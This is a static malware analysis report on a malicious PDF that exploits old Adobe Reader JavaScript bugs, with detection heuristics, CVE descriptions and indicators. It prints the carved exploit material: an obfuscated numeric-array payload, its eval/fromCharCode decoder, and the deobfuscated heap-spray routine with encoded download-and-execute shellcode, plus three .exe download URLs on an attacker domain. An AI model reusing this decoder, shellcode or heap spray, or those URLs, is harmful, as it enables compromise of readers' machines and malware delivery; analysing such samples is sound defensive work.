Malicious PDF — malware analysis report

Static analysis result for SHA-256 422c249d8984d561…

MALICIOUS

PDF

8.0 KB Created: 2009-09-14 19:47:23 Authoring application: Eblasha 10.8.5.3 (via PDF Library 8.9.3.1) First seen: 2012-07-12
MD5: 4217dc50c3c532f53c923ef1448ca732 SHA-1: e7d421134aa03731b8175c0cbd4474dbb73083d3 SHA-256: 422c249d8984d5614f437953b182a621ef840edca5856eea01637bf39a5f34df
606 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was detected as malicious by ClamAV with the signature Pdf.Dropper.Agent-7254600-0. Static analysis revealed embedded JavaScript with multiple obfuscation techniques, including the use of eval() and String.fromCharCode(). This script is designed to download and execute a second-stage payload. The presence of these indicators suggests a dropper functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7254600-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7254600-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var abcgiklry=0, jmoprstwx='';abcgiklry<5322;abcgiklry++){jmoprstwx += String.fromCharCode(fra[abcgiklry]-'BCgHIjk'.substring(abcgiklry%'BCgHIjk'.length,abcgiklry%'BCgHIjk'.length+1).charCodeAt(0));}eval(jmoprstwx);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fragus-v1-1.cn/ads/kors3.exe Referenced by PDF JavaScript
    • http://fragus-v1-1.cn/ads/kny3.exeReferenced by PDF JavaScript
    • http://fragus-v1-1.cn/ads/beiot3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21275 bytes
SHA-256: 1939112374b1d255a6acc22710f71c242f55468789b90c2bb593385fc1979892
Preview script
First 1,000 lines of the extracted script
var fra=[168,184,213,171,189,211,218,176,99,205,177,193,201,212,182,107,224,169,187,221,219,110,175,204,182,114,229,226,170,172,211,173,113,227,204,180,182,215,118,181,207,217,169,183,207,114,123,166,215,167,177,144,195,194,203,221,181,179,146,133,194,203,221,181,179,162,197,83,227,204,180,182,215,133,194,203,221,181,179,149,187,190,204,222,182,181,208,182,176,146,155,110,175,204,182,120,156,148,125,181,204,188,190,220,217,98,188,200,186,188,218,166,191,77,205,189,183,205,223,171,178,213,104,190,222,212,174,162,215,186,178,216,223,168,107,144,195,191,203,221,98,179,200,193,181,217,204,166,128,220,182,174,221,206,163,179,204,112,107,143,224,120,119,160,120,110,223,156,122,132,152,109,190,154,155,114,115,140,189,129,172,155,114,104,220,123,121,158,155,103,184,155,120,129,172,144,183,123,169,125,125,143,224,114,119,155,120,110,223,159,114,123,169,109,190,162,173,114,119,140,189,121,158,159,114,104,220,122,121,154,175,103,184,153,120,121,154,144,183,118,171,120,121,143,224,114,115,158,139,110,223,155,114,122,158,109,190,154,156,121,119,140,189,124,157,174,117,104,220,126,125,173,155,103,184,155,120,129,172,144,183,122,159,123,121,143,224,122,133,151,139,110,223,155,133,119,151,109,190,161,155,122,133,140,189,138,174,156,133,104,220,125,129,162,173,103,184,172,138,121,162,144,183,123,169,120,130,143,224,117,119,155,120,110,223,159,114,123,171,109,190,162,173,121,134,140,189,124,173,160,122,104,220,124,125,160,172,103,184,171,121,126,171,144,183,117,169,141,123,143,224,122,133,172,122,110,223,176,132,136,170,109,190,159,172,118,137,140,189,129,157,160,116,104,220,125,127,175,172,103,184,156,125,129,163,144,183,120,157,120,125,143,224,122,133,156,127,110,223,158,133,122,154,109,190,161,159,122,133,140,189,128,162,158,117,104,220,142,124,154,158,103,184,159,138,126,160,144,183,117,151,127,127,143,224,136,118,151,123,110,223,174,123,118,154,109,190,159,155,118,124,140,189,138,174,159,115,104,220,142,143,157,158,103,184,151,142,124,160,144,183,116,155,138,142,143,224,117,123,151,123,110,223,162,118,137,153,109,190,173,156,114,123,140,189,121,174,174,136,104,220,142,138,154,158,103,184,172,138,125,154,144,183,120,159,141,143,143,224,136,123,154,138,110,223,176,119,122,156,109,190,162,173,119,136,140,189,123,158,159,120,104,220,139,124,154,158,103,184,159,138,127,160,144,183,119,159,120,140,143,224,119,121,159,138,110,223,155,117,116,170,109,190,162,173,134,118,140,189,129,171,155,118,104,220,139,124,154,158,103,184,156,141,126,176,144,183,134,154,125,121,143,224,121,135,159,140,110,223,160,121,115,159,109,190,172,163,119,117,140,189,140,171,158,117,104,220,125,139,162,172,103,184,168,122,142,162,144,183,137,173,142,143,143,224,117,117,173,142,110,223,163,132,134,151,109,190,176,157,136,122,140,189,125,176,172,135,104,220,127,126,172,163,103,184,157,125,123,175,144,183,132,169,127,129,143,224,123,123,157,126,110,223,172,132,121,157,109,190,173,155,117,118,140,189,127,155,173,122,104,220,120,121,160,159,103,184,156,120,121,154,144,183,120,155,126,129,143,224,121,117,157,128,110,223,158,119,121,156,109,190,155,174,116,119,140,189,128,158,161,123,104,220,125,125,159,155,103,184,169,128,126,157,144,183,137,170,137,138,143,224,121,134,151,140,110,223,160,119,137,173,109,190,162,173,114,119,140,189,129,157,177,122,104,220,120,140,173,159,103,184,157,139,139,154,144,183,136,151,128,138,143,224,119,115,160,128,110,223,161,136,121,159,109,190,156,176,120,136,140,189,127,162,161,118,104,220,127,123,161,160,103,184,157,140,127,173,144,183,133,159,125,125,143,224,118,136,159,141,110,223,176,133,115,172,109,190,159,160,136,137,140,189,130,157,155,118,104,220,123,124,159,155,103,184,156,120,140,154,144,183,120,157,125,121,143,224,119,120,159,138,110,223,163,117,115,155,109,190,161,177,133,117,140,189,140,156,163,117,104,220,125,123,158,174,103,184,169,128,126,154,144,183,116,168,123,127,143,224,121,115,153,142,110,223,160,119,137,173,109,190,159,173,114,119,140,189,126,160,160,121,104,220,129,129,172,163,103,184,159,137,143,175,144,183,137,173,120,142,143,224,114,119,156,125,110,223,155,114,121,168,109,190,174,162,136,137,140,189,128,158,161,122,104,220,127,121,161,159,103,184,153,142,124,171,144,183,121,157,122,143,143,224,120,116,158,122,110,223,162,119,121,158,109,190,156,175,121,118,140,189,124,155,162,120,104,220,123,122,156,175,103,184,157,123,123,175,144,183,117,173,126,142,143,224,120,119,157,121,110,223,157,136,122,154,109,190,160,177,120,133,140,189,128,157,162,116,104,220,122,142,157,158,103,184,158,128,127,159,144,183,115,151,126,126,140,148,125,185,200,186,105,216,218,178,128,220,182,174,221,206,163,179,204,112,107,143,224,114,132,151,137,110,223,155,131,115,168,109,190,154,172,114,132,140,189,121,171,155,131,101,144,82,191,203,221,98,171,204,169,185,204,215,177,166,210,133,183,217,219,109,179,200,193,181,217,204,166,126,221,169,187,138,205,171,170,201,180,184,205,214,127,184,213,173,188,205,204,178,168,143,106,110,223,155,131,115,168,109,190,154,172,114,132,137,113,132,224,204,180,99,207,173,170,206,208,180,182,208,194,174,167,157,114,126,221,169,187,138,222,178,181,200,193,134,210,208,163,167,204,186,188,211,229,167,110,207,173,170,218,205,174,178,202,179,119,214,208,176,170,219,176,132,225,211,171,175,204,112,171,211,210,164,175,214,171,180,152,215,167,177,206,188,177,166,222,178,181,200,193,114,229,205,171,170,201,180,184,205,214,109,128,201,177,176,204,215,177,166,210,131,198,116,225,163,181,135,174,178,214,215,164,175,214,171,180,167,205,171,170,201,180,184,205,214,112,182,220,170,188,222,221,171,177,206,112,121,150,222,178,181,200,193,114,165,225,163,181,135,170,181,217,206,173,128,201,177,176,204,215,177,166,210,118,188,223,205,181,183,217,177,183,209,147,114,111,201,177,176,204,215,177,166,210,118,181,207,217,169,183,207,117,188,218,221,163,188,144,131,192,210,212,174,168,143,170,181,217,206,173,113,211,173,183,209,223,170,110,218,184,187,203,228,126,115,223,124,121,154,155,114,108,226,170,181,217,206,173,128,201,180,184,205,214,109,165,211,183,172,213,150,168,172,211,180,171,214,218,165,174,162,197,83,224,204,180,99,212,173,182,201,204,180,181,200,193,134,216,208,185,99,168,186,187,203,228,106,108,162,174,184,220,147,184,164,217,104,178,167,155,125,172,163,121,125,154,155,125,172,146,115,114,229,216,167,176,198,169,187,220,204,187,158,208,165,134,204,215,177,166,210,115,177,207,204,178,165,211,183,172,213,166,191,77,221,169,187,138,217,183,176,164,121,123,163,164,123,124,160,129,130,163,164,123,124,160,129,130,163,164,123,124,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,162,163,122,123,159,128,129,165,224,182,172,211,118,185,220,212,176,183,205,112,107,143,159,119,115,151,120,175,140,151,176,184,212,113,132,231,117,168,184,213,171,189,211,218,176,99,202,183,181,214,204,164,162,204,181,170,211,215,106,108,226,190,170,220,139,181,171,204,180,181,205,218,166,168,164,189,183,207,222,165,164,215,173,113,140,144,183,121,155,129,121,143,224,115,123,168,121,110,223,155,114,115,151,109,190,162,173,114,115,140,189,124,154,159,114,104,220,124,121,162,173,103,184,159,138,126,158,144,183,115,155,124,121,143,224,118,115,159,138,110,223,163,132,115,155,109,190,154,159,118,115,140,189,123,154,155,134,104,220,122,121,154,155,103,184,154,140,121,154,144,183,115,151,127,140,143,224,114,115,158,127,110,223,155,115,122,155,109,190,157,158,133,118,140,189,127,158,174,114,104,220,124,121,162,173,103,184,158,128,124,154,144,183,123,169,120,140,143,224,114,134,155,120,110,223,162,114,123,169,109,190,171,175,115,134,140,189,126,162,163,132,104,220,141,139,154,163,103,184,159,138,121,163,144,183,118,155,124,121,143,224,118,115,159,140,110,223,163,132,122,170,109,190,157,174,119,123,140,189,125,158,161,131,104,220,140,122,159,172,103,184,153,138,142,156,144,183,123,169,141,123,143,224,135,133,172,139,110,223,160,131,119,173,109,190,162,158,119,117,140,189,126,160,176,131,104,220,125,126,162,164,103,184,156,126,121,158,144,183,123,169,125,128,143,224,117,134,158,123,110,223,162,118,123,169,109,190,161,163,117,118,140,189,143,157,155,117,104,220,128,139,159,161,103,184,153,120,128,160,144,183,137,154,120,124,143,224,133,124,154,123,110,223,160,114,119,160,109,190,171,175,118,116,140,189,143,176,158,117,104,220,120,143,157,161,103,184,152,124,139,175,144,183,118,159,120,124,143,224,121,119,173,122,110,223,174,115,115,159,109,190,154,175,133,137,140,189,143,171,155,117,104,220,141,139,158,155,103,184,156,128,142,176,144,183,137,159,123,139,143,224,135,120,158,125,110,223,163,132,120,172,109,190,156,159,118,121,140,189,140,157,155,117,104,220,128,139,160,161,103,184,155,128,121,173,144,183,120,157,128,139,143,224,114,118,152,139,110,223,163,132,135,154,109,190,162,172,114,119,140,189,140,157,155,117,104,220,125,142,159,177,103,184,170,123,126,154,144,183,122,171,128,141,143,224,119,122,151,128,110,223,173,122,120,153,109,190,173,172,117,118,140,189,126,172,163,131,104,220,137,123,175,163,103,184,173,142,143,176,144,183,118,153,142,143,143,224,122,133,170,120,110,223,177,116,137,158,109,190,158,177,131,136,140,189,128,159,173,122,104,220,126,126,156,176,103,184,168,138,128,162,144,183,124,159,126,127,143,224,131,133,157,126,110,223,174,114,118,154,109,190,160,156,132,123,140,189,121,154,161,118,104,220,125,121,154,155,103,184,156,124,127,162,144,183,122,153,126,129,143,224,117,120,157,125,110,223,156,133,117,155,109,190,161,159,120,124,140,189,126,158,160,114,104,220,138,129,159,158,103,184,173,139,138,171,144,183,122,170,120,141,143,224,119,120,173,142,110,223,163,132,115,155,109,190,162,158,136,123,140,189,121,173,174,118,104,220,126,140,172,155,103,184,172,120,129,171,144,183,120,151,129,129,143,224,120,137,157,128,110,223,157,135,121,172,109,190,160,163,120,119,140,189,128,156,162,119,104,220,126,141,160,174,103,184,169,128,126,158,144,183,119,172,128,142,143,224,135,134,151,141,110,223,160,119,137,173,109,190,163,158,114,119,140,189,124,157,160,114,104,220,125,121,173,155,103,184,156,126,126,154,144,183,120,156,128,139,143,224,122,118,151,124,110,223,162,136,134,153,109,190,173,157,122,118,140,189,126,156,159,133,104,220,138,129,159,155,103,184,152,137,124,160,144,183,122,151,122,143,143,224,119,120,173,142,110,223,160,132,115,155,109,190,159,161,119,122,140,189,130,162,173,122,104,220,128,138,176,176,103,184,173,142,121,175,144,183,115,155,125,126,143,224,114,115,157,137,110,223,175,121,137,173,109,190,161,159,120,123,140,189,128,154,162,118,104,220,122,143,157,172,103,184,157,126,123,176,144,183,121,152,127,123,143,224,121,120,157,127,110,223,157,134,122,154,109,190,157,156,121,121,140,189,124,155,157,134,104,220,126,124,156,176,103,184,153,142,127,175,144,183,121,155,126,122,143,224,116,137,158,123,110,223,161,135,121,169,109,190,157,158,121,124,140,189,127,159,157,135,104,220,126,126,161,163,103,184,151,120,121,154,141,107,126,221,169,187,138,216,167,176,198,169,187,220,204,187,128,213,173,192,138,172,180,181,200,193,113,147,166,184,164,217,104,172,205,168,114,187,151,171,121,205,155,165,115,202,131,191,203,221,98,164,203,172,187,167,155,186,119,151,120,121,154,155,125,185,200,186,105,221,206,161,175,204,182,134,221,211,167,175,211,171,184,206,208,112,175,204,182,176,222,211,108,117,162,190,170,220,139,174,168,213,133,170,206,207,180,112,143,187,172,201,215,167,177,146,120,193,157,163,107,126,221,169,187,138,228,163,181,218,184,134,223,217,167,182,202,169,185,207,147,100,104,220,129,121,163,155,103,184,160,120,130,154,141,107,126,224,169,187,221,219,127,169,208,192,168,211,223,106,188,200,186,188,218,151,174,168,213,113,132,224,204,180,99,202,183,190,216,223,116,128,143,171,172,151,155,186,119,151,120,121,154,155,107,114,200,172,173,220,166,168,178,217,112,191,203,221,98,166,214,189,183,222,168,114,126,202,183,190,216,223,126,166,214,189,183,222,157,125,166,214,189,183,222,150,109,108,226,181,174,215,202,163,181,217,169,194,197,206,177,184,213,188,166,167,228,163,181,218,184,116,221,211,167,175,211,171,184,206,208,125,192,113,190,170,220,139,177,185,204,186,175,214,218,185,128,220,182,174,221,206,163,179,204,112,107,143,224,114,166,151,171,110,223,155,165,115,202,106,114,165,226,170,172,211,173,113,217,225,167,181,205,180,184,225,153,174,168,213,175,189,210,167,118,119,160,125,123,147,230,177,185,204,186,175,214,218,185,110,164,183,191,207,221,168,175,214,191,132,231,117,182,171,208,187,119,205,218,174,175,200,170,156,222,218,180,168,164,139,184,214,215,163,165,149,171,184,214,215,167,166,219,141,182,203,212,174,140,213,174,184,146,230,181,184,201,178,131,140,141,110,176,218,175,131,217,225,167,181,205,180,184,225,232,107,126,228,82,175,223,217,165,183,208,183,183,138,206,177,175,211,169,171,201,210,167,183,208,171,184,216,147,107,190,208,174,113,203,219,178,113,203,183,172,152,174,177,175,211,169,171,152,210,167,183,176,171,184,216,148,189,185,200,186,105,203,221,180,188,164,182,174,225,139,131,181,217,169,194,146,148,125,185,200,186,105,224,225,178,168,219,176,194,203,168,183,177,204,187,172,203,219,167,107,137,109,190,160,159,123,115,140,189,122,162,172,115,104,220,120,121,154,155,103,184,159,138,121,154,144,183,118,151,124,121,143,224,118,115,159,138,110,223,163,132,120,155,109,190,154,159,118,115,140,189,125,154,163,132,104,220,128,139,154,159,103,184,151,124,125,154,144,183,117,151,120,141,143,224,116,115,151,120,110,223,158,134,115,151,109,190,154,155,121,134,140,189,121,154,162,121,104,220,120,122,161,159,103,184,154,123,140,157,144,183,121,155,139,121,143,224,118,115,159,138,110,223,162,122,118,151,109,190,162,173,114,134,140,189,121,173,159,114,104,220,127,121,162,173,103,184,168,140,122,173,144,183,120,159,128,139,143,224,135,133,151,128,110,223,163,132,115,160,109,190,157,159,118,115,140,189,125,154,163,134,104,220,128,139,161,174,103,184,154,139,126,162,144,183,119,155,126,138,143,224,134,116,156,137,110,223,157,132,136,153,109,190,162,173,135,117,140,189,142,172,176,133,104,220,125,138,158,177,103,184,159,123,126,156,144,183,120,157,141,138,143,224,119,120,159,129,110,223,160,120,115,155,109,190,162,173,119,122,140,189,124,173,162,117,104,220,127,125,162,173,103,184,158,128,124,157,144,183,137,154,120,124,143,224,122,133,156,126,110,223,157,114,122,157,109,190,176,158,114,118,140,189,140,163,158,117,104,220,125,121,158,164,103,184,168,140,125,155,144,183,137,173,123,124,143,224,114,137,154,126,110,223,156,118,133,172,109,190,157,163,114,118,140,189,128,158,177,116,104,220,139,122,154,163,103,184,151,140,140,176,144,183,137,168,120,124,143,224,135,133,155,120,110,223,160,122,136,173,109,190,176,163,117,133,140,189,142,159,162,119,104,220,128,139,159,176,103,184,153,124,125,160,144,183,134,154,120,124,143,224,122,133,157,126,110,223,159,122,115,170,109,190,159,161,122,133,140,189,121,157,156,133,104,220,128,139,174,158,103,184,159,137,121,158,144,183,134,154,120,124,143,224,119,136,156,142,110,223,174,117,120,151,109,190,161,175,122,135,140,189,126,161,155,122,104,220,138,129,159,157,103,184,170,137,124,157,144,183,120,169,128,138,143,224,131,117,172,128,110,223,177,136,137,173,109,190,157,157,136,137,140,189,129,172,174,114,104,220,142,123,176,162,103,184,155,142,138,175,144,183,122,156,138,129,143,224,120,120,153,141,110,223,172,132,122,159,109,190,163,163,120,121,140,189,138,172,161,120,104,220,139,121,157,158,103,184,157,121,139,162,144,183,115,151,126,125,143,224,119,115,151,120,110,223,160,118,121,159,109,190,161,157,120,123,140,189,124,159,161,119,104,220,121,140,156,159,103,184,158,124,127,163,144,183,120,155,125,121,143,224,132,123,156,123,110,223,177,133,132,168,109,190,161,174,114,135,140,189,126,159,177,136,104,220,128,139,154,159,103,184,159,123,143,162,144,183,115,170,139,125,143,224,120,134,169,120,110,223,176,114,123,168,109,190,159,155,123,123,140,189,127,176,161,122,104,220,122,142,160,176,103,184,157,128,127,158,144,183,122,153,127,126,143,224,120,135,157,139,110,223,173,122,120,155,109,190,158,176,122,136,140,189,142,173,155,135,104,220,125,126,176,177,103,184,160,123,121,158,144,183,118,154,125,121,143,224,119,115,170,120,110,223,160,120,120,151,109,190,159,160,122,133,140,189,129,157,155,118,104,220,127,143,173,157,103,184,170,122,129,157,144,183,120,153,124,140,143,224,132,123,156,120,110,223,156,131,118,157,109,190,161,155,116,137,140,189,126,159,177,136,104,220,125,139,154,159,103,184,156,126,126,161,144,183,124,159,138,129,143,224,122,132,173,141,110,223,177,136,115,172,109,190,154,159,119,120,140,189,121,154,161,131,104,220,140,128,176,177,103,184,158,124,127,162,144,183,122,151,127,125,143,224,116,137,154,137,110,223,161,120,117,173,109,190,160,156,121,117,140,189,128,159,161,121,104,220,122,141,161,158,103,184,154,121,128,160,144,183,118,152,122,141,143,224,120,118,153,141,110,223,157,136,121,172,109,190,160,159,120,116,140,189,123,176,162,117,104,220,126,126,160,157,103,184,157,142,127,163,144,183,118,154,127,125,143,224,120,120,153,141,110,223,161,119,122,159,109,190,154,155,114,115,137,113,132,224,204,180,99,207,159,186,159,155,114,134,181,133,191,224,219,167,183,207,193,170,152,215,167,177,206,188,177,148,157,125,185,200,186,105,214,208,176,128,151,192,125,154,155,114,115,151,117,113,210,194,179,120,151,120,140,184,150,114,187,154,128,114,165,225,163,181,135,193,170,220,222,178,128,220,182,174,221,206,163,179,204,112,107,143,224,123,115,160,120,110,223,164,114,124,151,106,114,165,228,163,181,218,184,134,208,212,186,162,208,188,113,227,204,180,182,215,116,181,207,217,107,126,221,169,187,138,219,119,132,209,147,127,159,209,127,107,151,192,121,205,155,165,115,202,120,172,151,155,186,119,151,120,121,154,155,107,114,151,192,125,154,155,114,115,151,131,175,217,221,106,185,200,186,105,224,220,165,148,171,129,127,227,168,114,126,221,185,172,187,175,123,121,224,132,185,159,172,172,142,157,125,175,165,225,179,166,184,140,130,160,228,109,110,144,195,170,220,221,187,158,221,185,172,187,175,123,121,224,165,134,227,204,180,182,215,115,191,224,219,167,183,207,193,170,165,232,76,185,200,186,105,222,192,143,171,181,170,144,225,168,183,177,204,187,172,203,219,167,107,137,109,121,163,141,107,126,222,176,178,214,208,106,183,188,149,177,184,205,137,186,149,180,174,216,210,182,171,163,120,193,158,155,114,115,144,195,189,191,184,170,145,201,143,192,149,168,182,152,180,176,151,204,178,185,126,228,82,189,191,184,170,145,201,143,192,167,141,144,113,137,115,189,191,184,170,145,201,143,192,165,204,178,179,149,172,184,205,153,133,178,211,180,170,204,153,169,168,219,145,172,217,217,106,183,188,149,177,184,205,137,186,144,131,198,231,117,168,184,213,171,189,211,218,176,99,215,172,175,201,222,182,164,217,188,113,147,230,184,164,217,104,191,207,221,181,172,214,182,134,203,219,178,113,221,177,174,225,208,180,153,204,186,188,211,218,176,113,219,183,156,222,221,171,177,206,112,114,165,225,167,181,218,177,184,216,168,184,168,217,187,178,217,217,112,181,204,184,181,203,206,167,107,150,164,141,153,210,110,106,142,113,132,224,204,180,99,221,169,187,221,212,177,177,198,169,187,220,204,187,128,213,173,192,138,172,180,181,200,193,113,224,208,180,182,208,183,183,152,206,170,164,217,137,189,146,155,107,111,221,173,187,221,212,177,177,149,171,177,203,221,131,183,143,121,114,150,225,167,181,218,177,184,216,153,165,171,200,186,138,222,147,116,108,144,131,178,208,147,106,185,200,186,188,211,218,176,162,200,186,187,203,228,157,115,196,133,134,162,148,104,105,143,190,170,220,222,171,178,213,167,170,220,221,163,188,194,121,166,167,168,114,108,227,196,113,224,204,180,182,208,183,183,201,204,180,181,200,193,164,155,200,127,128,152,110,111,224,204,180,182,208,183,183,201,204,180,181,200,193,164,156,200,126,118,144,113,196,223,223,171,175,198,184,187,211,217,182,169,143,113,132,231,117,171,169,143,112,191,203,221,181,172,214,182,168,203,221,180,164,224,163,121,199,167,122,108,227,196,113,224,204,180,182,208,183,183,201,204,180,181,200,193,164,154,200,127,128,159,110,111,224,204,180,182,208,183,183,201,204,180,181,200,193,164,155,200,126,117,141,110,191,203,221,181,172,214,182,168,203,221,180,164,224,163,123,199,167,116,108,144,195,172,217,215,174,164,201,167,174,215,204,171,175,143,113,132,231,117,171,169,143,112,191,203,221,181,172,214,182,168,203,221,180,164,224,163,121,199,167,123,108,227,196,113,224,204,180,182,208,183,183,201,204,180,181,200,193,164,154,200,127,128,160,110,111,224,204,180,182,208,183,183,201,204,180,181,200,193,164,155,200,126,116,144,113,196,205,218,174,175,200,170,168,209,208,182,172,202,183,183,146,148,125,192,228,82,185,206,209,161,182,219,169,187,222,147,107,126];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1BD7 220 bytes
SHA-256: 9a3f1dbacce708826256c1516e218e2fdd1cfeb17965d2a2950cc7d591001537
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var abcgiklry=0, jmoprstwx='';abcgiklry<5322;abcgiklry++){jmoprstwx += String.fromCharCode(fra[abcgiklry]-'BCgHIjk'.substring(abcgiklry%'BCgHIjk'.length,abcgiklry%'BCgHIjk'.length+1).charCodeAt(0));}eval(jmoprstwx);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5322 bytes
SHA-256: 071de65950133bd6a7df2e405710e2db5f2a05003fb21ecc52ab68aacd89547c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u6172%u7567%u2D73%u3176%u312D%u632E%u2F6E%u6461%u2F73%u6F6B%u7372%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
